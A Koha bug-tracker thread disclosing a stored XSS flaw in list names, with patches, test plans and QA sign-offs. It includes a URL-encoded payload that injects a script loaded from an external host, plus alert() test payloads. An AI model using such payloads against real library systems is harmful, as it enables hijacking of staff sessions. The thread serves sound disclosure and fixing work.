We found a Stored XSS flaw in the Koha Library which could allow remote attackers to execute arbritrary code via XSRF. The affected page in the OPAC client is: http://testbox:9001/cgi-bin/koha/opac-shelves.pl the vulnerable parameter: addshelf The affected page in the STAFF client is: http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl Example Scenario: Student Alice receives a phishing mail and clicks the following: /cgi-bin/koha/opac-shelves.pl?shelves=1&addshelf=Malicious+Input+%3Cscript+src%3D%27http%3A%2F%2Fcst.sba-research.org%2Fx.js%27%2F%3E&owner=7854&sortfield=title&category=2&allow_add=0&allow_delete_own=1&allow_delete_other=0 Bob, library admin, recognizes the new malicious list entry. He logs into the staff area and browses the public lists in order to delete the entry. Once he opens http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl the malcious code get's executed. It then could either target bob's browser or even perform an XSRF attack by exploiting other server-side vulnerabilities. Side note: In order to make the attack work, alice only needs to have access to the OPAC interface and to have permissions to create public lists. --- Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research. Contact: cst@sba-research.org
Created attachment 40333 [details] Screenshots with Exploit Scenario The screenshots show the input in the OPAC interface (victim1 - alice), the target victim in the Staff client (bob), and the permissions page of alice and bob. As we can see, alice, has very restricted permissions various bob has superlibrarian permissions set.
*** Bug 14415 has been marked as a duplicate of this bug. ***
Created attachment 40340 [details] [review] Bug 14416 : Stored XSS vulnerability The affected page in the OPAC client is: http://testbox:9001/cgi-bin/koha/opac-shelves.pl the vulnerable parameter: addshelf The affected page in the STAFF client is: http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl To test: 1/ Create a shelf in the opac that contains some malicious js eg Bad stuff <script>alert('oh noes');</script> as the name 2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client Note the js is executed 3/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is not escaped 4/ Apply patch 5/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is now escaped 6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit
Created attachment 40341 [details] [review] Bug 14416 Stored XSS vulnerability opac-addbybiblionumber.pl is also vulnerable because it doesn't escape list names. To test 1/ Create a malicious list name 2/ Try to add a biblio to the lists 3/ Notice js is excuted 4/ Apply patch 5/ Test again
Created attachment 40353 [details] [review] Bug 14416 : Stored XSS vulnerability The affected page in the OPAC client is: http://testbox:9001/cgi-bin/koha/opac-shelves.pl the vulnerable parameter: addshelf The affected page in the STAFF client is: http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl To test: 1/ Create a shelf in the opac that contains some malicious js eg Bad stuff <script>alert('oh noes');</script> as the name 2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client Note the js is executed 3/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is not escaped 4/ Apply patch 5/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is now escaped 6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40354 [details] [review] Bug 14416 Stored XSS vulnerability opac-addbybiblionumber.pl is also vulnerable because it doesn't escape list names. To test 1/ Create a malicious list name 2/ Try to add a biblio to the lists 3/ Notice js is excuted 4/ Apply patch 5/ Test again Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40355 [details] [review] Bug 14416: (follow-up) opac addbybilionumber Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40356 [details] [review] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet) Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Found 2 more at the OPAC and I submitted a patch for the intranet side (which was affected too).
if ( $var =~ m|<script>| ) { $template->param( error => "CONVOKE_STUDENT" ); } :)
Created attachment 40370 [details] [review] [PASSED QA] Bug 14416 : Stored XSS vulnerability The affected page in the OPAC client is: http://testbox:9001/cgi-bin/koha/opac-shelves.pl the vulnerable parameter: addshelf The affected page in the STAFF client is: http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl To test: 1/ Create a shelf in the opac that contains some malicious js eg Bad stuff <script>alert('oh noes');</script> as the name 2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client Note the js is executed 3/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is not escaped 4/ Apply patch 5/ View http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1 Notice the html is now escaped 6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Created attachment 40371 [details] [review] [PASSED QA] Bug 14416 Stored XSS vulnerability opac-addbybiblionumber.pl is also vulnerable because it doesn't escape list names. To test 1/ Create a malicious list name 2/ Try to add a biblio to the lists 3/ Notice js is excuted 4/ Apply patch 5/ Test again Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Created attachment 40372 [details] [review] [PASSED QA] Bug 14416: (follow-up) opac addbybilionumber Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Created attachment 40373 [details] [review] [PASSED QA] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet) Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Patches pushed to master. Good job Chris!
Pushed to 3.20.x will be in 3.20.1
Pushed to 3.14.x, will be in 3.14.16
Pushed to 3.16.x, will be in 3.16.12